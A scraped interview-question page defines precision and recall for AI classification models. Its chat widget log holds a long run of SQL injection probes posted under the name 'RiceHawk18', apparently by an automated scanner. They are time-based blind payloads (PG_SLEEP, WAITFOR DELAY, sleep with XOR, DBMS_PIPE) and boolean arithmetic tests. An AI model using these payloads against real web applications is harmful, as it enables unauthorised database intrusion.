What is the difference between precision and recall?
Experience Level: Junior
Tags: Artificial Intelligence
Answer
Precision and recall are two important metrics used to evaluate the performance of a classification model. Precision measures the proportion of true positives among all predicted positives, while recall measures the proportion of true positives among all actual positives. Precision is a measure of how accurate the positive predictions are, while recall is a measure of how well the positive cases are identified. A high precision means that the model has a low false positive rate, while a high recall means that the model has a low false negative rate.
Related Artificial intelligence (AI) job interview questions
What is the difference between a generative model and a discriminative model?
Artificial Intelligence JuniorWhat is a generative adversarial network?
Artificial Intelligence JuniorWhat is a convolutional neural network (CNN)?
Artificial Intelligence JuniorWhat is the curse of dimensionality?
Artificial Intelligence JuniorWhat is the difference between a parametric and non-parametric model?
Artificial Intelligence Junior
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
RiceHawk18
e
e
RiceHawk18
@@xeDO0
@@xeDO0
RiceHawk18
1'"
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
e
RiceHawk18
e
e